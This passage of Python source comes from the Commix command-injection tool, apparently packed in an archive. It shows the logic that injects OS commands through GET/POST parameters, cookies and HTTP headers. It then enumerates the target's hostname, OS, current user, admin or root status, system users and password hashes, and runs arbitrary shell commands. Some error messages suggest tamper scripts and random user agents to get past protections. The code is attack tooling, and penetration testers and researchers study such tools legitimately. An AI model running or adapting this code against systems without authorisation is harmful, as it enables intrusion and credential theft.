parameter = settings.USER_DEFINED_POST_DATA
found_parameter = parameters.do_POST_check(parameter, http_request_method)
header_name = ""
if type(found_parameter) is str:
found_parameter_list = []
found_parameter_list.append(found_parameter)
found_parameter = found_parameter_list
if any((settings.IS_JSON, settings.IS_XML)):
# Remove junk data
found_parameter = [x for x in found_parameter if settings.INJECT_TAG in x]
else:
# Remove whitespaces
found_parameter = [x.replace(settings.SINGLE_WHITESPACE, "") for x in found_parameter]
do_injection(found_parameter, settings.HTTPMETHOD.POST, header_name, url, http_request_method, filename, timesec)
"""
Perform GET / POST parameters checks
"""
def data_checks(url, http_request_method, filename, timesec):
settings.CUSTOM_HEADER_INJECTION = False
init_cookie_injection_status()
if settings.USER_DEFINED_POST_DATA and not settings.IGNORE_USER_DEFINED_POST_DATA:
if post_request(url, http_request_method, filename, timesec) is None:
if not settings.SKIP_NON_CUSTOM:
get_request(url, http_request_method, filename, timesec)
else:
if get_request(url, http_request_method, filename, timesec) is None:
if settings.USER_DEFINED_POST_DATA:
if not settings.SKIP_NON_CUSTOM:
post_request(url, http_request_method, filename, timesec)
"""
Perform checks over cookie values.
"""
def cookies_checks(url, http_request_method, filename, timesec):
if len([i for i in settings.TESTABLE_PARAMETERS_LIST if i in str(menu.options.cookie)]) != 0 or \
settings.INJECTION_MARKER_LOCATION.COOKIE or \
settings.COOKIE_INJECTION:
if not settings.SKIP_NON_CUSTOM:
cookie_injection(url, http_request_method, filename, timesec)
"""
Perform checks over HTTP Headers parameters.
"""
def headers_checks(url, http_request_method, filename, timesec):
if len([i for i in settings.TESTABLE_PARAMETERS_LIST if i in settings.HTTP_HEADERS]) != 0 or \
settings.INJECTION_MARKER_LOCATION.HTTP_HEADERS or settings.HTTP_HEADERS_INJECTION or \
any((settings.USER_AGENT_INJECTION, settings.REFERER_INJECTION, settings.HOST_INJECTION)):
if not settings.SKIP_NON_CUSTOM:
http_headers_injection(url, http_request_method, filename, timesec)
"""
Perform checks
"""
def perform_checks(url, http_request_method, filename):
# Initiate whitespaces
if settings.MULTI_TARGETS or settings.STDIN_PARSING and len(settings.WHITESPACES) > 1:
settings.WHITESPACES = ["%20"]
timesec = settings.TIMESEC
# Check if authentication is needed.
if menu.options.auth_url and menu.options.auth_data:
# Do the authentication process.
authentication.authentication_process(http_request_method)
try:
# Check if authentication page is the same with the next (injection) URL
if _urllib.request.urlopen(url, timeout=settings.TIMEOUT).read() == _urllib.request.urlopen(menu.options.auth_url, timeout=settings.TIMEOUT).read():
err_msg = "It seems that the authentication procedure has failed."
settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
raise SystemExit()
except (_urllib.error.URLError, _urllib.error.HTTPError) as err_msg:
settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
raise SystemExit()
elif menu.options.auth_url or menu.options.auth_data:
err_msg = "You must specify both login panel URL and login parameters."
settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
raise SystemExit()
else:
pass
if menu.options.shellshock:
settings.INJECTION_LEVEL = settings.HTTP_HEADER_INJECTION_LEVEL
else:
if settings.INJECTION_LEVEL != settings.DEFAULT_INJECTION_LEVEL and settings.CUSTOM_INJECTION_MARKER != True:
settings.INJECTION_LEVEL = settings.USER_APPLIED_LEVEL
_ = True
if settings.CUSTOM_INJECTION_MARKER:
_ = False
if any((settings.INJECTION_MARKER_LOCATION.URL, settings.INJECTION_MARKER_LOCATION.DATA)):
data_checks(url, http_request_method, filename, timesec)
if settings.INJECTION_MARKER_LOCATION.COOKIE:
cookies_checks(url, http_request_method, filename, timesec)
if settings.INJECTION_MARKER_LOCATION.HTTP_HEADERS:
headers_checks(url, http_request_method, filename, timesec)
if settings.INJECTION_MARKER_LOCATION.CUSTOM_HTTP_HEADERS:
custom_headers_checks(url, http_request_method, filename, timesec)
# if settings.TESTABLE_PARAMETERS_LIST or (settings.USER_DEFINED_POST_DATA and not settings.INJECTION_MARKER_LOCATION.DATA) or (settings.USER_DEFINED_URL_DATA and not settings.INJECTION_MARKER_LOCATION.URL):
# if settings.TESTABLE_PARAMETERS_LIST or not settings.INJECTION_MARKER_LOCATION.URL or not settings.INJECTION_MARKER_LOCATION.DATA:
if settings.TESTABLE_PARAMETERS_LIST or len(settings.USER_DEFINED_POST_DATA) != 0 and any((settings.INJECTION_MARKER_LOCATION.URL, settings.INJECTION_MARKER_LOCATION.DATA)):
checks.process_non_custom()
if not settings.SKIP_NON_CUSTOM:
settings.CUSTOM_INJECTION_MARKER = False
if settings.TESTABLE_PARAMETERS_LIST or not settings.INJECTION_MARKER_LOCATION.URL or not settings.INJECTION_MARKER_LOCATION.DATA:
data_checks(url, http_request_method, filename, timesec)
if _:
if settings.TESTABLE_PARAMETERS_LIST or not settings.INJECTION_MARKER_LOCATION.COOKIE and settings.INJECTION_LEVEL == settings.COOKIE_INJECTION_LEVEL:
# if settings.TESTABLE_PARAMETERS_LIST or not settings.INJECTION_MARKER_LOCATION.COOKIE and settings.INJECTION_LEVEL == settings.COOKIE_INJECTION_LEVEL:
settings.COOKIE_INJECTION = True
cookies_checks(url, http_request_method, filename, timesec)
if settings.TESTABLE_PARAMETERS_LIST or not settings.INJECTION_MARKER_LOCATION.HTTP_HEADERS and settings.INJECTION_LEVEL == settings.HTTP_HEADER_INJECTION_LEVEL:
# if settings.TESTABLE_PARAMETERS_LIST or not settings.INJECTION_MARKER_LOCATION.HTTP_HEADERS and settings.INJECTION_LEVEL == settings.HTTP_HEADER_INJECTION_LEVEL:
settings.HTTP_HEADERS_INJECTION = True
headers_checks(url, http_request_method, filename, timesec)
if settings.INJECTION_CHECKER == False:
return False
else:
return True
"""
General check on every injection technique.
"""
def do_check(url, http_request_method, filename):
try:
if settings.RECHECK_FILE_FOR_EXTRACTION:
settings.RECHECK_FILE_FOR_EXTRACTION = False
# Check for '--tor' option.
if menu.options.tor:
if not menu.options.tech or "t" in menu.options.tech or "f" in menu.options.tech:
warn_msg = "It is highly recommended to avoid usage of switch '--tor' for "
warn_msg += "time-based injections because of inherent high latency time."
settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
# Check for "backticks" tamper script.
if settings.USE_BACKTICKS == True:
if not menu.options.tech or "e" in menu.options.tech or "t" in menu.options.tech or "f" in menu.options.tech:
warn_msg = "Commands substitution using backtics is only supported by the (results-based) classic command injection technique. "
settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
perform_checks(url, http_request_method, filename)
# All injection techniques seems to be failed!
if not settings.INJECTION_CHECKER and not settings.LOAD_SESSION:
if settings.NOT_TESTABLE_PARAMETERS:
err_msg = "All testable parameters you provided are not present within the given request data."
else:
err_msg = "All tested parameters do not appear to be injectable."
if settings.INJECTION_LEVEL < settings.HTTP_HEADER_INJECTION_LEVEL :
err_msg += " Try to increase value for '--level' option"
err_msg += " if you wish to perform more tests."
if settings.USER_APPLIED_TECHNIQUE or settings.SKIP_TECHNIQUES:
err_msg += " You can try to rerun without providing the option "
if not settings.SKIP_TECHNIQUES :
err_msg += "'--technique'."
else:
err_msg += "'--skip-technique'."
err_msg += " If you suspect that there is some kind of protection mechanism involved, maybe you could try to"
if not menu.options.tamper:
err_msg += " use option '--tamper'"
if not menu.options.random_agent:
if not menu.options.tamper:
err_msg += " and/or"
err_msg += " switch '--random-agent'"
err_msg += "."
if settings.MULTI_TARGETS:
err_msg += " Skipping to the next target."
settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
else:
logs.print_logs_notification(filename, url)
if not settings.MULTI_TARGETS:
common.show_http_error_codes()
raise SystemExit()
except KeyboardInterrupt:
checks.user_aborted(filename, url)
# eof commix-4.0/src/core/injections/controller/enumeration.py 0000775 0000000 0000000 00000100063 14731205621 0023624 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
import re
import sys
from src.utils import logs
from src.utils import menu
from src.utils import common
from src.utils import settings
from src.utils import session_handler
from src.core.requests import requests
from src.core.injections.controller import checks
from src.thirdparty.six.moves import urllib as _urllib
from src.thirdparty.colorama import Fore, Back, Style, init
"""
Powershell's version number enumeration (for Windows OS)
"""
def powershell_version(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique):
if technique == settings.INJECTION_TECHNIQUE.CLASSIC:
from src.core.injections.results_based.techniques.classic import cb_injector as injector
elif technique == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE:
from src.core.injections.results_based.techniques.eval_based import eb_injector as injector
elif technique == settings.INJECTION_TECHNIQUE.TIME_BASED:
from src.core.injections.blind.techniques.time_based import tb_injector as injector
elif technique == settings.INJECTION_TECHNIQUE.FILE_BASED:
from src.core.injections.semiblind.techniques.file_based import fb_injector as injector
else:
from src.core.injections.semiblind.techniques.tempfile_based import tfb_injector as injector
_ = False
cmd = settings.PS_VERSION
if not settings.TIME_RELATIVE_ATTACK and alter_shell:
cmd = checks.escape_single_quoted_cmd(cmd)
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
if settings.TIME_RELATIVE_ATTACK:
_ = True
if technique == settings.INJECTION_TECHNIQUE.TIME_BASED:
check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response, technique)
else:
check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique)
else:
if technique == settings.INJECTION_TECHNIQUE.FILE_BASED:
response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique)
else:
# Command execution results.
response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique)
# Perform target page reload (if it is required).
if settings.URL_RELOAD:
response = requests.url_reload(url, timesec)
# Evaluate injection results.
ps_version = injector.injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec)
ps_version = "".join(str(p) for p in ps_version)
session_handler.store_cmd(url, cmd, ps_version, vuln_parameter)
else:
ps_version = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
checks.print_ps_version(ps_version, filename, _)
"""
Hostname enumeration
"""
def hostname(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique):
if technique == settings.INJECTION_TECHNIQUE.CLASSIC:
from src.core.injections.results_based.techniques.classic import cb_injector as injector
elif technique == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE:
from src.core.injections.results_based.techniques.eval_based import eb_injector as injector
elif technique == settings.INJECTION_TECHNIQUE.TIME_BASED:
from src.core.injections.blind.techniques.time_based import tb_injector as injector
elif technique == settings.INJECTION_TECHNIQUE.FILE_BASED:
from src.core.injections.semiblind.techniques.file_based import fb_injector as injector
else:
from src.core.injections.semiblind.techniques.tempfile_based import tfb_injector as injector
_ = False
if settings.TARGET_OS == settings.OS.WINDOWS:
settings.HOSTNAME = settings.WIN_HOSTNAME
cmd = settings.HOSTNAME
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
# Command execution results.
if settings.TIME_RELATIVE_ATTACK:
_ = True
if technique == settings.INJECTION_TECHNIQUE.TIME_BASED:
check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response, technique)
else:
check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique)
else:
if technique == settings.INJECTION_TECHNIQUE.FILE_BASED:
response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique)
else:
if technique == settings.INJECTION_TECHNIQUE.FILE_BASED:
response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique)
else:
# Command execution results.
response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique)
# Perform target page reload (if it is required).
if settings.URL_RELOAD:
response = requests.url_reload(url, timesec)
# Evaluate injection results.
shell = injector.injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec)
shell = "".join(str(p) for p in shell)
session_handler.store_cmd(url, cmd, shell, vuln_parameter)
else:
shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
checks.print_hostname(shell, filename, _)
"""
Retrieve system information
"""
def system_information(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique):
if technique == settings.INJECTION_TECHNIQUE.CLASSIC:
from src.core.injections.results_based.techniques.classic import cb_injector as injector
elif technique == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE:
from src.core.injections.results_based.techniques.eval_based import eb_injector as injector
elif technique == settings.INJECTION_TECHNIQUE.TIME_BASED:
from src.core.injections.blind.techniques.time_based import tb_injector as injector
elif technique == settings.INJECTION_TECHNIQUE.FILE_BASED:
from src.core.injections.semiblind.techniques.file_based import fb_injector as injector
else:
from src.core.injections.semiblind.techniques.tempfile_based import tfb_injector as injector
_ = False
if settings.TARGET_OS == settings.OS.WINDOWS:
settings.RECOGNISE_OS = settings.WIN_RECOGNISE_OS
cmd = settings.RECOGNISE_OS
if not settings.TIME_RELATIVE_ATTACK and settings.TARGET_OS == settings.OS.WINDOWS and alter_shell:
cmd = "cmd /c " + cmd
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
# Command execution results.
if settings.TIME_RELATIVE_ATTACK:
_ = True
if technique == settings.INJECTION_TECHNIQUE.TIME_BASED:
check_exec_time, target_os = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response, technique)
else:
check_exec_time, target_os = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique)
else:
if technique == settings.INJECTION_TECHNIQUE.FILE_BASED:
response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique)
else:
# Command execution results.
response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique)
# Perform target page reload (if it is required).
if settings.URL_RELOAD:
response = requests.url_reload(url, timesec)
# Evaluate injection results.
target_os = injector.injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec)
target_os = "".join(str(p) for p in target_os)
session_handler.store_cmd(url, cmd, target_os, vuln_parameter)
else:
target_os = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
if settings.TIME_RELATIVE_ATTACK and settings.VERBOSITY_LEVEL == 0 and _:
settings.print_data_to_stdout(settings.SINGLE_WHITESPACE)
if target_os:
if not settings.TIME_RELATIVE_ATTACK:
target_os = "".join(str(p) for p in target_os)
if settings.TARGET_OS != settings.OS.WINDOWS:
cmd = settings.DISTRO_INFO
if not settings.TIME_RELATIVE_ATTACK:
if settings.USE_BACKTICKS:
cmd = checks.remove_command_substitution(cmd)
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
# Command execution results.
if settings.TIME_RELATIVE_ATTACK:
if technique == settings.INJECTION_TECHNIQUE.TIME_BASED:
check_exec_time, distro_name = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response, technique)
else:
check_exec_time, distro_name = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique)
else:
if technique == settings.INJECTION_TECHNIQUE.FILE_BASED:
response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique)
else:
# Command execution results.
response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique)
# Perform target page reload (if it is required).
if settings.URL_RELOAD:
response = requests.url_reload(url, timesec)
# Evaluate injection results.
distro_name = injector.injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec)
distro_name = "".join(str(p) for p in distro_name)
if len(distro_name) != 0:
target_os = target_os + settings.SINGLE_WHITESPACE + distro_name
session_handler.store_cmd(url, cmd, target_os, vuln_parameter)
else:
target_os = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
if settings.TARGET_OS == settings.OS.WINDOWS:
cmd = settings.WIN_RECOGNISE_HP
else:
cmd = settings.RECOGNISE_HP
if settings.TIME_RELATIVE_ATTACK and settings.VERBOSITY_LEVEL == 0 and _:
settings.print_data_to_stdout(settings.SINGLE_WHITESPACE)
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
# Command execution results.
if settings.TIME_RELATIVE_ATTACK:
_ = True
if technique == settings.INJECTION_TECHNIQUE.TIME_BASED:
check_exec_time, target_arch = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response, technique)
else:
check_exec_time, target_arch = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique)
else:
if technique == settings.INJECTION_TECHNIQUE.FILE_BASED:
response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique)
else:
# Command execution results.
response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique)
# Perform target page reload (if it is required).
if settings.URL_RELOAD:
response = requests.url_reload(url, timesec)
# Evaluate injection results.
target_arch = injector.injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec)
target_arch = "".join(str(p) for p in target_arch)
session_handler.store_cmd(url, cmd, target_arch, vuln_parameter)
else:
target_arch = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
else:
target_arch = None
checks.print_os_info(target_os, target_arch, filename, _)
"""
The current user enumeration
"""
def current_user(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique):
if technique == settings.INJECTION_TECHNIQUE.CLASSIC:
from src.core.injections.results_based.techniques.classic import cb_injector as injector
elif technique == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE:
from src.core.injections.results_based.techniques.eval_based import eb_injector as injector
elif technique == settings.INJECTION_TECHNIQUE.TIME_BASED:
from src.core.injections.blind.techniques.time_based import tb_injector as injector
elif technique == settings.INJECTION_TECHNIQUE.FILE_BASED:
from src.core.injections.semiblind.techniques.file_based import fb_injector as injector
else:
from src.core.injections.semiblind.techniques.tempfile_based import tfb_injector as injector
_ = False
if settings.TARGET_OS == settings.OS.WINDOWS:
settings.CURRENT_USER = settings.WIN_CURRENT_USER
cmd = settings.CURRENT_USER
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
# Command execution results.
if settings.TIME_RELATIVE_ATTACK:
_ = True
if technique == settings.INJECTION_TECHNIQUE.TIME_BASED:
check_exec_time, cu_account = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response, technique)
else:
check_exec_time, cu_account = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique)
else:
if technique == settings.INJECTION_TECHNIQUE.FILE_BASED:
response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique)
else:
# Command execution results.
response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique)
# Perform target page reload (if it is required).
if settings.URL_RELOAD:
response = requests.url_reload(url, timesec)
# Evaluate injection results.
cu_account = injector.injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec)
cu_account = "".join(str(p) for p in cu_account)
session_handler.store_cmd(url, cmd, cu_account, vuln_parameter)
else:
cu_account = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
checks.print_current_user(cu_account, filename, _)
"""
Check if the Current user is privileged.
"""
def check_current_user_privs(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique):
if technique == settings.INJECTION_TECHNIQUE.CLASSIC:
from src.core.injections.results_based.techniques.classic import cb_injector as injector
elif technique == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE:
from src.core.injections.results_based.techniques.eval_based import eb_injector as injector
elif technique == settings.INJECTION_TECHNIQUE.TIME_BASED:
from src.core.injections.blind.techniques.time_based import tb_injector as injector
elif technique == settings.INJECTION_TECHNIQUE.FILE_BASED:
from src.core.injections.semiblind.techniques.file_based import fb_injector as injector
else:
from src.core.injections.semiblind.techniques.tempfile_based import tfb_injector as injector
_ = False
if settings.TARGET_OS == settings.OS.WINDOWS:
cmd = settings.IS_ADMIN
else:
cmd = settings.IS_ROOT
if settings.USE_BACKTICKS:
cmd = checks.remove_command_substitution(cmd)
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
# Command execution results.
if settings.TIME_RELATIVE_ATTACK:
_ = True
if technique == settings.INJECTION_TECHNIQUE.TIME_BASED:
check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response, technique)
else:
check_exec_time, shell = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique)
else:
if technique == settings.INJECTION_TECHNIQUE.FILE_BASED:
response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique)
else:
# Command execution results.
response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique)
# Perform target page reload (if it is required).
if settings.URL_RELOAD:
response = requests.url_reload(url, timesec)
# Evaluate injection results.
shell = injector.injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec)
shell = "".join(str(p) for p in shell).replace(settings.SINGLE_WHITESPACE, "", 1)[:-1]
session_handler.store_cmd(url, cmd, shell, vuln_parameter)
else:
shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
checks.print_current_user_privs(shell, filename, _)
"""
System users enumeration
"""
def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique):
if technique == settings.INJECTION_TECHNIQUE.CLASSIC:
from src.core.injections.results_based.techniques.classic import cb_injector as injector
elif technique == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE:
from src.core.injections.results_based.techniques.eval_based import eb_injector as injector
elif technique == settings.INJECTION_TECHNIQUE.TIME_BASED:
from src.core.injections.blind.techniques.time_based import tb_injector as injector
elif technique == settings.INJECTION_TECHNIQUE.FILE_BASED:
from src.core.injections.semiblind.techniques.file_based import fb_injector as injector
else:
from src.core.injections.semiblind.techniques.tempfile_based import tfb_injector as injector
cmd = settings.SYS_USERS
_ = False
if settings.TARGET_OS == settings.OS.WINDOWS:
cmd = settings.WIN_SYS_USERS
if settings.TIME_RELATIVE_ATTACK:
cmd = cmd + settings.WIN_REPLACE_WHITESPACE
if alter_shell:
cmd = checks.escape_single_quoted_cmd(cmd)
if not settings.TIME_RELATIVE_ATTACK:
cmd = checks.add_new_cmd(cmd)
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
# Command execution results.
if settings.TIME_RELATIVE_ATTACK:
_ = True
try:
if technique == settings.INJECTION_TECHNIQUE.TIME_BASED:
check_exec_time, sys_users = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response, technique)
else:
check_exec_time, sys_users = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique)
except TypeError:
sys_users = ""
else:
if technique == settings.INJECTION_TECHNIQUE.FILE_BASED:
response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique)
else:
# Command execution results.
response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique)
# Perform target page reload (if it is required).
if settings.URL_RELOAD:
response = requests.url_reload(url, timesec)
# Evaluate injection results.
sys_users = injector.injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec)
sys_users = "".join(str(p) for p in sys_users)
session_handler.store_cmd(url, cmd, sys_users, vuln_parameter)
else:
sys_users = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
checks.print_users(sys_users, filename, _, separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell)
"""
System passwords enumeration
"""
def system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique):
if technique == settings.INJECTION_TECHNIQUE.CLASSIC:
from src.core.injections.results_based.techniques.classic import cb_injector as injector
elif technique == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE:
from src.core.injections.results_based.techniques.eval_based import eb_injector as injector
elif technique == settings.INJECTION_TECHNIQUE.TIME_BASED:
from src.core.injections.blind.techniques.time_based import tb_injector as injector
elif technique == settings.INJECTION_TECHNIQUE.FILE_BASED:
from src.core.injections.semiblind.techniques.file_based import fb_injector as injector
else:
from src.core.injections.semiblind.techniques.tempfile_based import tfb_injector as injector
_ = False
cmd = settings.SYS_PASSES
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
# Command execution results.
if settings.TIME_RELATIVE_ATTACK:
_ = True
if technique == settings.INJECTION_TECHNIQUE.TIME_BASED:
check_exec_time, sys_passes = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response, technique)
else:
check_exec_time, sys_passes = injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique)
if sys_passes == False:
sys_passes = ""
else:
if technique == settings.INJECTION_TECHNIQUE.FILE_BASED:
response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique)
else:
# Command execution results.
response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique)
# Perform target page reload (if it is required).
if settings.URL_RELOAD:
response = requests.url_reload(url, timesec)
# Evaluate injection results.
sys_passes = injector.injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec)
sys_passes = "".join(str(p) for p in sys_passes)
session_handler.store_cmd(url, cmd, sys_passes, vuln_parameter)
else:
sys_passes = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
checks.print_passes(sys_passes, filename, _, alter_shell)
"""
Single os-shell execution
"""
def single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response, technique):
if technique == settings.INJECTION_TECHNIQUE.CLASSIC:
from src.core.injections.results_based.techniques.classic import cb_injector as injector
elif technique == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE:
from src.core.injections.results_based.techniques.eval_based import eb_injector as injector
elif technique == settings.INJECTION_TECHNIQUE.TIME_BASED:
from src.core.injections.blind.techniques.time_based import tb_injector as injector
elif technique == settings.INJECTION_TECHNIQUE.FILE_BASED:
from src.core.injections.semiblind.techniques.file_based import fb_injector as injector
else:
from src.core.injections.semiblind.techniques.tempfile_based import tfb_injector as injector
cmd = menu.options.os_cmd
checks.print_enumenation().print_single_os_cmd_msg(cmd)
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
# Command execution results.
if settings.TIME_RELATIVE_ATTACK:
_ = True
if technique == settings.INJECTION_TECHNIQUE.TIME_BASED:
